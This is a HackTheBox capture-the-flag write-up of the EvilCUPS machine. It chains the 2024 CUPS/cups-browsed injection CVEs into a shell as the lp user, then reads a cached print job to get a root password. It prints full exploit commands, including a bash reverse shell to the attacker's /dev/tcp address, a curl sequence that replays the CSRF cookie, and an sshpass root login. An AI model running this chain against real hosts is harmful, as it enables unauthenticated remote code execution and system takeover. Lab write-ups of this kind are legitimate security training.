HTB: EvilCUPS Writeup

EvilCUPS - HackTheBox Writeup

Machine Information

AttributeDetails
NameEvilCUPS
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.231.157
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐☆☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

EvilCUPS is a Medium Linux box built entirely around a 2024 CUPS/cups-browsed command-injection chain (CVE-2024-47176 + CVE-2024-47076/47175/47177). The box exposes an unauthenticated CUPS web management interface on TCP/631 and the legacy cups-browsed auto-discovery listener on UDP/631. A single crafted UDP packet convinces the target to install an attacker-controlled “printer” whose PPD attributes are injected with a malicious FoomaticRIPCommandLine. Triggering a print job (which the CUPS web UI allows anonymously) executes that command as the lp user, yielding the user flag. From there, lp can read a previously-cached print job by its known filename in /var/spool/cups/ even though it can’t list the directory — and that cached job leaks the root password in plaintext, which is reused directly for a root shell via SSH.

TL;DR: nmap reveals CUPS 2.4 on 631/tcp → ippsec’s evil-cups PoC exploits CVE-2024-47176 over UDP/631 to register a malicious printer → CUPS web UI “Print Test Page” CGI (CSRF cookie only) triggers Foomatic-RIP command injection → reverse shell as lp → cached print job /var/spool/cups/d00001-001 leaks root’s password in plaintext → ssh root@target → root.


Reconnaissance

Port Scanning

Terminal window
# TCP service scan
nmap -p22,631 -sV -T4 10.129.231.157

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
631/tcp open ipp CUPS 2.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Terminal window
# Confirm the cups-browsed auto-discovery listener
nmap -sU -p631 --max-retries 1 10.129.231.157
PORT STATE SERVICE
631/udp closed ipp

Only 22/ssh and 631/ipp are exposed. CUPS 2.4 (fingerprinted as CUPS/2.4.2 on the web UI) was released in early 2022 — well within the window of the 2024 CUPS/cups-browsed disclosures. nmap reported UDP/631 as closed on the raw probe (no listener responds to an empty UDP datagram), but cups-browsed still processes a correctly-formatted “printer available” broadcast packet sent to that port — the exploit doesn’t depend on the port showing open in a scan.

Service Enumeration

The CUPS web management interface at http://10.129.231.157:631/ is reachable without authentication and lists installed printer queues:

Terminal window
curl -s http://10.129.231.157:631/printers/ | grep -oE '/printers/[A-Za-z0-9_%-]+'
/printers/Canon_MB2300_series

A pre-existing queue, Canon_MB2300_series, already has a completed job (Canon_MB2300_series-1) sitting in its job history — this becomes relevant later during privesc.

Vulnerability Assessment

  • CVE-2024-47176 (cups-browsed): the UDP/631 listener accepts unicast “printer available” packets and doesn’t validate the source is an actual printer, letting a remote attacker force-install an arbitrary printer URI.
  • CVE-2024-47076 / CVE-2024-47175 (libcupsfilters / libppd): PPD attributes returned by the “printer” (via IPP Get-Printer-Attributes) are written into the generated PPD file without sanitizing embedded quotes/newlines, allowing injection of extra PPD directives.
  • CVE-2024-47177 (foomatic-rip): the injected *FoomaticRIPCommandLine PPD directive is executed verbatim as a shell command whenever a document is printed.
  • Anonymous access to the CUPS web CGI, including the “Print Test Page” maintenance action, means no authentication is needed to trigger the injected command.

Initial Foothold

Exploitation Path

1. Stage ippsec’s evil-cups PoC on the attack host.

Terminal window
# Clone the PoC — jump box /tmp was 100% full, so staged in /dev/shm instead
df -h /tmp /dev/shm
# Filesystem Size Used Avail Use% Mounted on
# /dev/sda7 436M 419M 0 100% /tmp
# tmpfs 8.1G 2.7G 5.4G 33% /dev/shm
cd /dev/shm && git clone https://github.com/ippsec/evil-cups
cat evil-cups/requirements.txt
# ippserver

The PoC’s dependency is the ippserver Python library, which stands up a minimal IPP server so the exploit host can answer the target’s printer-attribute lookup with the injected PPD data.

Terminal window
# pip also needs a writable TMPDIR — reuse /dev/shm
TMPDIR=/dev/shm pip3 install --break-system-packages ippserver
python3 -c 'import ippserver; print("OK ippserver")'
# OK ippserver

2. Understand what the PoC does. evilcups.py starts a local IPPServer on port 12345 that answers as a MaliciousPrinter, embedding the attacker’s command inside a PPD attribute (printer-more-info / FoomaticRIPCommandLine, per CVE-2024-47076/47175). It then fires a single crafted UDP packet at the target’s cups-browsed listener (631/udp) announcing a fake printer at http://<LHOST>:12345/printers/EVILCUPS, prompting the target to fetch attributes from us and install the poisoned queue.

3. Launch the exploit — usage is evilcups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>:

Terminal window
# Start a listener first (port 9001 was already bound by an existing SSH
# forward on the jump box, so 9002 was used instead)
nc -lvnp 9002
# Fire the exploit — LHOST is the jump box's tun0 VPN IP (must be routable
# from the target back to us)
cd /dev/shm/evil-cups
python3 evilcups.py 10.10.15.180 10.129.231.157 \
"bash -c 'bash -i >& /dev/tcp/10.10.15.180/9002 0>&1'"
IPP Server Listening on ('10.10.15.180', 12345)
Sending udp packet to 10.129.231.157:631...
Please wait this normally takes 30 seconds...

4. Confirm the malicious printer registered. The first run’s queue (EVILCUPS) got garbage-collected/never fully materialized (attempting to print it later returned The printer or class does not exist.). Re-running the exploit produced a second, persistent queue:

Terminal window
curl -s http://10.129.231.157:631/printers/ | sed 's/<[^>]*>//g' | grep -iE 'showing|hacked'
# Showing 2 of 2 printers.
# HACKED_10_10_15_180 HACKED_10_10_15_180 HP 0.00, driverless, cups-filters 1.28.17 Idle

5. Trigger execution via the CGI “Print Test Page” action. The CUPS web CGI requires an org.cups.sid CSRF cookie to accept the POST, but no login:

Terminal window
# Grab the session cookie, then POST the print-test-page action with it
# echoed back as a form field (CUPS' anti-CSRF check)
curl -s -c cj.txt 'http://10.129.231.157:631/printers/HACKED_10_10_15_180' -o /dev/null
SID=$(grep org.cups.sid cj.txt | awk '{print $NF}')
curl -s -b cj.txt -X POST 'http://10.129.231.157:631/printers/HACKED_10_10_15_180' \
--data-urlencode "org.cups.sid=$SID" --data 'op=print-test-page'
Print Test Page On HACKED_10_10_15_180
Test page sent; job ID is HACKED_10_10_15_180-2.

Queuing the test page runs it through Foomatic-RIP, which executes the injected FoomaticRIPCommandLine — our reverse shell payload — as the printing subsystem’s user:

listening on [any] 9002 ...
connect to [10.10.15.180] from (UNKNOWN) [10.129.231.157] 51602
bash: cannot set terminal process group (1057): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$

Landed as lp (the CUPS service account). Since the shell has no job control and dies with a plain nc reader after one command, an interactive-ish channel was built with a FIFO so multiple commands could be sent over the same connection:

Terminal window
mkfifo /dev/shm/sh.in
tail -f /dev/shm/sh.in | nc -lvnp 9002 # reader survives across writes
echo 'id; cat /home/htb/user.txt' > /dev/shm/sh.in
uid=7(lp) gid=7(lp) groups=7(lp)
<redacted>

Privilege Escalation

As lp, /var/spool/cups/ itself denies listing (execute-only, no read bit):

Terminal window
ls -la /var/spool/cups/
# ls: cannot open directory '/var/spool/cups/': Permission denied

However, execute permission on the directory still allows reading a file if its exact name is already known. CUPS names cached completed jobs deterministically: d<5-digit job id>-<3-digit page number>. The web UI had already shown a completed job Canon_MB2300_series-1 during recon — job 1, page 1 — so the cache file is d00001-001:

Terminal window
cat /var/spool/cups/d00001-001 | tr -c '[:print:]\n' ' ' \
| grep -iaE 'pass|root|word|Br3|evil|secret'
/fname (pass.txt) def
/ftail (pass.txt) def
(Br3@k-G!@ss-r00t-evilcups) s

The cached job is the raw PostScript source of whatever was printed to that queue previously — and it literally embeds the filename pass.txt and its printed contents, a plaintext root password: Br3@k-G!@ss-r00t-evilcups.

Terminal window
sshpass -p 'Br3@k-G!@ss-r00t-evilcups' \
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
root@10.129.231.157 'id; cat /root/root.txt; hostname'
uid=0(root) gid=0(root) groups=0(root)
<redacted>
evilcups

Root, confirmed.


Attack Chain Summary

nmap → CUPS 2.4 web UI (631/tcp) + cups-browsed listener (631/udp)
→ evil-cups PoC: forged UDP browsed packet (CVE-2024-47176)
→ IPPServer serves poisoned PPD attrs (CVE-2024-47076/47175 injection)
→ malicious printer "HACKED_10_10_15_180" registered
→ anonymous CGI POST /printers/<name> op=print-test-page (CSRF cookie only)
→ Foomatic-RIP executes injected FoomaticRIPCommandLine (CVE-2024-47177)
→ reverse shell as lp → user.txt
→ lp reads /var/spool/cups/d00001-001 (known filename, dir unlistable)
→ plaintext root password "pass.txt" leaked from cached print job
→ ssh root@target (password reuse) → root.txt

Tools Used

ToolPurpose
nmapTCP/UDP port and service discovery
gitClone the evil-cups PoC (github.com/ippsec/evil-cups)
pip3 / ippserverPython IPP server backing the exploit’s fake printer
evilcups.pySends the forged UDP browsed packet + serves the injected PPD
curlEnumerate printer queues, extract CSRF (org.cups.sid) cookie, trigger print-test-page CGI
nc + mkfifoReverse shell catcher + persistent multi-command channel over a dead-job-control shell
sshpass / sshNon-interactive root login with the recovered password

Key Learnings

Techniques Practiced

  • Exploiting the CVE-2024-47176/47076/47175/47177 CUPS/cups-browsed chain end to end (UDP printer injection → PPD attribute injection → Foomatic-RIP command execution)
  • Extracting and replaying a CGI’s anti-CSRF session cookie (org.cups.sid) with curl to drive an “authenticated-looking” but actually anonymous web action
  • Working around a full jump-box /tmp by redirecting git clone and pip install (TMPDIR=) to /dev/shm
  • Building a durable command channel over a nc reverse shell that lacks job control, using a named pipe (mkfifo + tail -f) instead of a one-shot cat
  • Abusing directory execute-without-read permissions: reading a specific known filename in an otherwise unlistable directory (/var/spool/cups/)

Lessons Learned

  1. Legacy auto-discovery protocols (cups-browsed over UDP/631) that accept unicast, unauthenticated “printer available” announcements are a direct remote-code-execution surface — disabling cups-browsed or restricting it to trusted subnets closes the entire chain at the door.
  2. Exposing the CUPS web management CGI anonymously turns a “just print a test page” convenience feature into an unauthenticated RCE trigger; admin actions like Foomatic-RIP-backed printing should never be reachable pre-auth.
  3. lp’s ability to read (though not list) old cached print jobs is a real, low-noise information-disclosure path — anything sensitive ever sent to a CUPS printer on this host (including a literal pass.txt) stays recoverable indefinitely from /var/spool/cups/.
  4. Password reuse between an incidentally-leaked artifact (a print job) and the root account is what turned a service-account foothold into full root in a single step — the same credential should never back both a mundane document and a privileged login.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • ippsec, official HackTheBox EvilCUPS writeup (Document No. D24.100.304) — machine walkthrough, CVE background, and the evil-cups PoC used in this solve.
  • github.com/ippsec/evil-cups — PoC exploit for the CUPS/cups-browsed injection chain.
  • EvilSocket, original disclosure blog post for CVE-2024-47176/47076/47175/47177.